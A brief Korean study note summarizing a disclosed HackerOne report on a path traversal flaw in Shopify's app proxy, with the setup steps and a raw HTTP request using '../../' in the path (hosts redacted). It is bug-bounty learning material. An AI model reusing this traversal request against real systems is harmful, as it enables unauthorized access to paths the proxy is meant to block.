hackerone-shopify-2020-08-m-869888
Path Traversal in App Proxy
partners.shopify.com의 앱 프록시에 path traversal 취약점이 있었다.
앱 프록시 기능은 shopify 커스텀 도메인에서 oauth 앱에 요청을 프록시할 때 사용한다.. (해석이 잘 안 됨.. 대충 자신의 도메인에서 oauth 앱을 운영할 때 프록시를 설정할 수 있다는 것 같다.) ../ 경로를 이스케이프하지 않기 때문에 path traversal이 가능했다.
자신의 oauth app에 https://████████/proxy 경로로 프록시를 설정한다. 그리고 subpath를 apps/ss 경로로 한다. 이렇게 프록시를 설정하면 https://██████████/proxy/test 경로로 접근했을 때 https://███████/apps/ss/test 경로에 접근하게 된다.
정상적인 경우 https://██████████/ 는 접근할 수 없다. /proxy 경로만 허용하기 때문이다. 하지만 path traversal 취약점이 있어 가능했다.
GET /apps/ss/b.php/../../?shop=a&Shop=asd HTTP/1.1
Host: ███████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
위와 같은 요청을 하면 경로 탐색에 의해 접근이 가능했다.
tags: bughunting, shopify, directory-traversal, wstg-athz-01, severity medium, web hacking